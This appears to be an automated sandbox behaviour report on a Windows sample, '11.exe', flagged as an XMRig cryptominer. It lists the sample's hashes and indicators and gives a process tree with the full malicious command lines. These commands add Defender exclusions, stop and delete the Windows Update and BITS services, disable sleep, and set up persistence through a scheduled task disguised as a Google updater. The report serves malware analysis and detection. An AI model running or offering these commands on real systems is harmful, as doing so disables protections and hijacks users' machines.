Analysis
-
max time kernel
150s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
28-09-2022 23:58
Behavioral task
behavioral1
Sample
11.exe
Resource
win7-20220812-en
General
-
Target
11.exe
-
Size
7.2MB
-
MD5
6ea25d773cf0786cb3fb31483a1bc5dc
-
SHA1
7366c623557f4e6bd6286e5b860155ccba161e29
-
SHA256
9b3ffda6ae9f7822e6984568c4ea924a3f651f0b1afcfccf8413631015abb507
-
SHA512
83c8ebe2681448129f084c849df44cb30b71483cf75469ccc80c59aacf213ba153dd91f4431336faf634dab2196f8ed46c6a74a5ec4c2a1201bc84f718818817
-
SSDEEP
196608:YGo4HILZq86dKzZicbAyIcq54eT5Ukko6m:14uAzZicbybT5Uho6m
Malware Config
Signatures
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
Processes:
11.exeupdater.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 11.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ updater.exe -
XMRig Miner payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/4372-229-0x00007FF68ACD0000-0x00007FF68B4C4000-memory.dmp xmrig -
Drops file in Drivers directory 2 IoCs
Processes:
11.exeupdater.exedescription ioc process File created C:\Windows\system32\drivers\etc\hosts 11.exe File created C:\Windows\system32\drivers\etc\hosts updater.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 4180 updater.exe -
Stops running service(s) 3 TTPs
-
Processes:
resource yara_rule behavioral2/memory/4372-223-0x00007FF68ACD0000-0x00007FF68B4C4000-memory.dmp upx behavioral2/memory/4372-229-0x00007FF68ACD0000-0x00007FF68B4C4000-memory.dmp upx -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
11.exeupdater.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 11.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 11.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion updater.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion updater.exe -
Processes:
resource yara_rule behavioral2/memory/2812-133-0x00007FF68D450000-0x00007FF68E15B000-memory.dmp themida behavioral2/memory/2812-134-0x00007FF68D450000-0x00007FF68E15B000-memory.dmp themida behavioral2/memory/2812-136-0x00007FF68D450000-0x00007FF68E15B000-memory.dmp themida behavioral2/memory/2812-137-0x00007FF68D450000-0x00007FF68E15B000-memory.dmp themida behavioral2/memory/2812-138-0x00007FF68D450000-0x00007FF68E15B000-memory.dmp themida behavioral2/memory/2812-139-0x00007FF68D450000-0x00007FF68E15B000-memory.dmp themida behavioral2/memory/2812-140-0x00007FF68D450000-0x00007FF68E15B000-memory.dmp themida behavioral2/memory/2812-167-0x00007FF68D450000-0x00007FF68E15B000-memory.dmp themida C:\Program Files\Google\Chrome\updater.exe themida behavioral2/memory/4180-174-0x00007FF724F60000-0x00007FF725C6B000-memory.dmp themida behavioral2/memory/4180-175-0x00007FF724F60000-0x00007FF725C6B000-memory.dmp themida behavioral2/memory/4180-178-0x00007FF724F60000-0x00007FF725C6B000-memory.dmp themida behavioral2/memory/4180-179-0x00007FF724F60000-0x00007FF725C6B000-memory.dmp themida behavioral2/memory/4180-180-0x00007FF724F60000-0x00007FF725C6B000-memory.dmp themida behavioral2/memory/4180-181-0x00007FF724F60000-0x00007FF725C6B000-memory.dmp themida behavioral2/memory/4180-183-0x00007FF724F60000-0x00007FF725C6B000-memory.dmp themida behavioral2/memory/4180-226-0x00007FF724F60000-0x00007FF725C6B000-memory.dmp themida C:\Program Files\Google\Chrome\updater.exe themida -
Processes:
11.exeupdater.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 11.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA updater.exe -
Drops file in System32 directory 3 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
11.exeupdater.exepid process 2812 11.exe 4180 updater.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 4180 set thread context of 3472 4180 updater.exe conhost.exe PID 4180 set thread context of 4372 4180 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
cmd.execmd.exe11.exeupdater.exedescription ioc process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe 11.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 1528 sc.exe 2416 sc.exe 4784 sc.exe 3980 sc.exe 3984 sc.exe 968 sc.exe 2360 sc.exe 1972 sc.exe 3868 sc.exe 1908 sc.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.execonhost.exepid process 544 powershell.exe 544 powershell.exe 2684 powershell.exe 2684 powershell.exe 64 powershell.exe 64 powershell.exe 1948 powershell.exe 1948 powershell.exe 920 powershell.exe 920 powershell.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe 4372 conhost.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 668 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exedescription pid process Token: SeDebugPrivilege 544 powershell.exe Token: SeDebugPrivilege 2684 powershell.exe Token: SeShutdownPrivilege 2324 powercfg.exe Token: SeCreatePagefilePrivilege 2324 powercfg.exe Token: SeShutdownPrivilege 4348 powercfg.exe Token: SeCreatePagefilePrivilege 4348 powercfg.exe Token: SeShutdownPrivilege 1952 powercfg.exe Token: SeCreatePagefilePrivilege 1952 powercfg.exe Token: SeShutdownPrivilege 4520 powercfg.exe Token: SeCreatePagefilePrivilege 4520 powercfg.exe Token: SeIncreaseQuotaPrivilege 2684 powershell.exe Token: SeSecurityPrivilege 2684 powershell.exe Token: SeTakeOwnershipPrivilege 2684 powershell.exe Token: SeLoadDriverPrivilege 2684 powershell.exe Token: SeSystemProfilePrivilege 2684 powershell.exe Token: SeSystemtimePrivilege 2684 powershell.exe Token: SeProfSingleProcessPrivilege 2684 powershell.exe Token: SeIncBasePriorityPrivilege 2684 powershell.exe Token: SeCreatePagefilePrivilege 2684 powershell.exe Token: SeBackupPrivilege 2684 powershell.exe Token: SeRestorePrivilege 2684 powershell.exe Token: SeShutdownPrivilege 2684 powershell.exe Token: SeDebugPrivilege 2684 powershell.exe Token: SeSystemEnvironmentPrivilege 2684 powershell.exe Token: SeRemoteShutdownPrivilege 2684 powershell.exe Token: SeUndockPrivilege 2684 powershell.exe Token: SeManageVolumePrivilege 2684 powershell.exe Token: 33 2684 powershell.exe Token: 34 2684 powershell.exe Token: 35 2684 powershell.exe Token: 36 2684 powershell.exe Token: SeIncreaseQuotaPrivilege 2684 powershell.exe Token: SeSecurityPrivilege 2684 powershell.exe Token: SeTakeOwnershipPrivilege 2684 powershell.exe Token: SeLoadDriverPrivilege 2684 powershell.exe Token: SeSystemProfilePrivilege 2684 powershell.exe Token: SeSystemtimePrivilege 2684 powershell.exe Token: SeProfSingleProcessPrivilege 2684 powershell.exe Token: SeIncBasePriorityPrivilege 2684 powershell.exe Token: SeCreatePagefilePrivilege 2684 powershell.exe Token: SeBackupPrivilege 2684 powershell.exe Token: SeRestorePrivilege 2684 powershell.exe Token: SeShutdownPrivilege 2684 powershell.exe Token: SeDebugPrivilege 2684 powershell.exe Token: SeSystemEnvironmentPrivilege 2684 powershell.exe Token: SeRemoteShutdownPrivilege 2684 powershell.exe Token: SeUndockPrivilege 2684 powershell.exe Token: SeManageVolumePrivilege 2684 powershell.exe Token: 33 2684 powershell.exe Token: 34 2684 powershell.exe Token: 35 2684 powershell.exe Token: 36 2684 powershell.exe Token: SeIncreaseQuotaPrivilege 2684 powershell.exe Token: SeSecurityPrivilege 2684 powershell.exe Token: SeTakeOwnershipPrivilege 2684 powershell.exe Token: SeLoadDriverPrivilege 2684 powershell.exe Token: SeSystemProfilePrivilege 2684 powershell.exe Token: SeSystemtimePrivilege 2684 powershell.exe Token: SeProfSingleProcessPrivilege 2684 powershell.exe Token: SeIncBasePriorityPrivilege 2684 powershell.exe Token: SeCreatePagefilePrivilege 2684 powershell.exe Token: SeBackupPrivilege 2684 powershell.exe Token: SeRestorePrivilege 2684 powershell.exe Token: SeShutdownPrivilege 2684 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
11.execmd.execmd.exepowershell.exeupdater.execmd.execmd.exedescription pid process target process PID 2812 wrote to memory of 544 2812 11.exe powershell.exe PID 2812 wrote to memory of 544 2812 11.exe powershell.exe PID 2812 wrote to memory of 1176 2812 11.exe cmd.exe PID 2812 wrote to memory of 1176 2812 11.exe cmd.exe PID 2812 wrote to memory of 3664 2812 11.exe cmd.exe PID 2812 wrote to memory of 3664 2812 11.exe cmd.exe PID 2812 wrote to memory of 2684 2812 11.exe powershell.exe PID 2812 wrote to memory of 2684 2812 11.exe powershell.exe PID 1176 wrote to memory of 1528 1176 cmd.exe sc.exe PID 1176 wrote to memory of 1528 1176 cmd.exe sc.exe PID 3664 wrote to memory of 2324 3664 cmd.exe powercfg.exe PID 3664 wrote to memory of 2324 3664 cmd.exe powercfg.exe PID 1176 wrote to memory of 2416 1176 cmd.exe sc.exe PID 1176 wrote to memory of 2416 1176 cmd.exe sc.exe PID 3664 wrote to memory of 4348 3664 cmd.exe powercfg.exe PID 3664 wrote to memory of 4348 3664 cmd.exe powercfg.exe PID 3664 wrote to memory of 1952 3664 cmd.exe powercfg.exe PID 3664 wrote to memory of 1952 3664 cmd.exe powercfg.exe PID 1176 wrote to memory of 3984 1176 cmd.exe sc.exe PID 1176 wrote to memory of 3984 1176 cmd.exe sc.exe PID 3664 wrote to memory of 4520 3664 cmd.exe powercfg.exe PID 3664 wrote to memory of 4520 3664 cmd.exe powercfg.exe PID 1176 wrote to memory of 968 1176 cmd.exe sc.exe PID 1176 wrote to memory of 968 1176 cmd.exe sc.exe PID 1176 wrote to memory of 4784 1176 cmd.exe sc.exe PID 1176 wrote to memory of 4784 1176 cmd.exe sc.exe PID 1176 wrote to memory of 1820 1176 cmd.exe reg.exe PID 1176 wrote to memory of 1820 1176 cmd.exe reg.exe PID 1176 wrote to memory of 1932 1176 cmd.exe reg.exe PID 1176 wrote to memory of 1932 1176 cmd.exe reg.exe PID 1176 wrote to memory of 396 1176 cmd.exe reg.exe PID 1176 wrote to memory of 396 1176 cmd.exe reg.exe PID 1176 wrote to memory of 4480 1176 cmd.exe reg.exe PID 1176 wrote to memory of 4480 1176 cmd.exe reg.exe PID 1176 wrote to memory of 3892 1176 cmd.exe reg.exe PID 1176 wrote to memory of 3892 1176 cmd.exe reg.exe PID 2812 wrote to memory of 64 2812 11.exe powershell.exe PID 2812 wrote to memory of 64 2812 11.exe powershell.exe PID 64 wrote to memory of 2632 64 powershell.exe schtasks.exe PID 64 wrote to memory of 2632 64 powershell.exe schtasks.exe PID 4180 wrote to memory of 1948 4180 updater.exe powershell.exe PID 4180 wrote to memory of 1948 4180 updater.exe powershell.exe PID 4180 wrote to memory of 2884 4180 updater.exe cmd.exe PID 4180 wrote to memory of 2884 4180 updater.exe cmd.exe PID 4180 wrote to memory of 4684 4180 updater.exe cmd.exe PID 4180 wrote to memory of 4684 4180 updater.exe cmd.exe PID 4180 wrote to memory of 920 4180 updater.exe powershell.exe PID 4180 wrote to memory of 920 4180 updater.exe powershell.exe PID 2884 wrote to memory of 2360 2884 cmd.exe sc.exe PID 2884 wrote to memory of 2360 2884 cmd.exe sc.exe PID 4684 wrote to memory of 2224 4684 cmd.exe powercfg.exe PID 4684 wrote to memory of 2224 4684 cmd.exe powercfg.exe PID 2884 wrote to memory of 3980 2884 cmd.exe sc.exe PID 2884 wrote to memory of 3980 2884 cmd.exe sc.exe PID 2884 wrote to memory of 1972 2884 cmd.exe sc.exe PID 2884 wrote to memory of 1972 2884 cmd.exe sc.exe PID 2884 wrote to memory of 3868 2884 cmd.exe sc.exe PID 2884 wrote to memory of 3868 2884 cmd.exe sc.exe PID 2884 wrote to memory of 1908 2884 cmd.exe sc.exe PID 2884 wrote to memory of 1908 2884 cmd.exe sc.exe PID 2884 wrote to memory of 1560 2884 cmd.exe reg.exe PID 2884 wrote to memory of 1560 2884 cmd.exe reg.exe PID 2884 wrote to memory of 3772 2884 cmd.exe reg.exe PID 2884 wrote to memory of 3772 2884 cmd.exe reg.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\11.exe"C:\Users\Admin\AppData\Local\Temp\11.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\SYSTEM32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#uzgegy#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#dudxt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\system32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
